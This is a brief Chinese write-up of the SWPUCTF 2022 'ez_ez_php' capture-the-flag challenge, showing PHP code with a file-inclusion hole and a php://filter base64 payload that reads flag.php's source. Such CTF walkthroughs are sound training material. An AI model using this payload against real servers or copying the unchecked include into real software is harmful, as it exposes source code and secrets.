[SWPUCTF 2022 新生赛]ez_ez_php wp
题目代码如下:
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}
else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php
根据代码,GET 传入的参数要以 php 开头,并且提示有一个 flag.php 文件。那就直接用 php 伪协议。
php://filter 伪协议
payload
file=php://filter/read=convert.base64-encode/resource=flag.php
返回结果:

base64 解码后得到 flag.php 文件内容:

这里有些乱码,但可以看得出来提示:真正的 flag 在名为 'flag' 的文件里面。
那就用伪协议再读一次:

拿到 flag 。